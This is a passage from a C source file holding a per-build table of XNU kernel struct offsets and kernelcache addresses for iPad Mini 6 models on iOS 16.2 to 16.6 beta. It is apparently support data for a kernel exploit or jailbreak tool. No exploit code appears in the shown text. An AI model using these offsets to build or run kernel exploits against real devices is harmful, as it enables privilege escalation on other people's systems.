+ 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a691190,\n            .kernelcache__gPhysBase = 0xfffffff0078b81b0,\n            .kernelcache__gPhysSize = 0xfffffff0078b81b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff0078b6390,\n            .kernelcache__perfmon_devices = 0xfffffff00a6cc3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007fad05c,\n            .kernelcache__ptov_table = 0xfffffff00786b3b0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a6cb800,\n            .kernelcache__vm_pages = 0xfffffff0078680d8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff00786a370,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a6cb7f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007ffd074,\n        },\n\n    // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad14,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a691190,\n            .kernelcache__gPhysBase = 0xfffffff0078b81b0,\n            .kernelcache__gPhysSize = 0xfffffff0078b81b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff0078b6390,\n            .kernelcache__perfmon_devices = 0xfffffff00a6cc3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007fad05c,\n            .kernelcache__ptov_table = 0xfffffff00786b3b0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a6cb800,\n            .kernelcache__vm_pages = 0xfffffff0078680d8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff00786a370,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a6cb7f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007ffd074,\n        },\n\n\n       // iOS 16.4\n           {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad14,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a765208,\n            .kernelcache__gPhysBase = 0xfffffff007997fc0,\n            .kernelcache__gPhysSize = 0xfffffff007997fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007996198,\n            .kernelcache__perfmon_devices = 0xfffffff00a7a3520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007fc9210,\n            .kernelcache__ptov_table = 0xfffffff00794b180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a7a2990,\n            .kernelcache__vm_pages = 0xfffffff007947ec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff00794a130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a7a2988,\n            .kernelcache__vn_kqfilter = 0xfffffff008015ae0,\n        },\n\n\n          // iOS 16.4.1\n           {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad14,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a765208,\n            .kernelcache__gPhysBase = 0xfffffff007997fc0,\n            .kernelcache__gPhysSize = 0xfffffff007997fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007996198,\n            .kernelcache__perfmon_devices = 0xfffffff00a7a3520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007fc9210,\n            .kernelcache__ptov_table = 0xfffffff00794b180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a7a2990,\n            .kernelcache__vm_pages = 0xfffffff007947ec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff00794a130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a7a2988,\n            .kernelcache__vn_kqfilter = 0xfffffff008015ae0,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:09:37 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8110\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad14,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a76d208,\n            .kernelcache__gPhysBase = 0xfffffff007998100,\n            .kernelcache__gPhysSize = 0xfffffff007998100 + 8,\n            .kernelcache__gVirtBase = 0xfffffff0079962d8,\n            .kernelcache__perfmon_devices = 0xfffffff00a7ab520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007fc9480,\n            .kernelcache__ptov_table = 0xfffffff00794b180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a7aa990,\n            .kernelcache__vm_pages = 0xfffffff007947ec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff00794a130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a7aa988,\n            .kernelcache__vn_kqfilter = 0xfffffff008015fe8,\n        },\n\n    // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad14,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a819a30,\n            .kernelcache__gPhysBase = 0xfffffff0079b02a8,\n            .kernelcache__gPhysSize = 0xfffffff0079b02a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffff0079ae460,\n            .kernelcache__perfmon_devices = 0xfffffff00a859550,\n            .kernelcache__perfmon_dev_open = 0xfffffff007fedb9c,\n            .kernelcache__ptov_table = 0xfffffff0079639c0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a858910,\n            .kernelcache__vm_pages = 0xfffffff007960110,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff007962970,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a858908,\n            .kernelcache__vn_kqfilter = 0xfffffff00803a0b8,\n        },\n\n        // iPad Mini 6th Cellular //\n\n            // iOS 16.2\n\n            {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:56 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8110\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad14,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a685190,\n            .kernelcache__gPhysBase = 0xfffffff0078b80c8,\n            .kernelcache__gPhysSize = 0xfffffff0078b80c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffff0078b62a8,\n            .kernelcache__perfmon_devices = 0xfffffff00a6c03b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007facfa8,\n            .kernelcache__ptov_table = 0xfffffff00786b370,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a6bf800,\n            .kernelcache__vm_pages = 0xfffffff007868098,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff00786a330,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a6bf7f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007ffcfd0,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad14,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a691190,\n            .kernelcache__gPhysBase = 0xfffffff0078b81b0,\n            .kernelcache__gPhysSize = 0xfffffff0078b81b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff0078b6390,\n            .kernelcache__perfmon_devices = 0xfffffff00a6cc3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007fad05c,\n            .kernelcache__ptov_table = 0xfffffff00786b3b0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a6cb800,\n            .kernelcache__vm_pages = 0xfffffff0078680d8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff00786a370,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a6cb7f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007ffd074,\n        },\n\n    // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad14,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            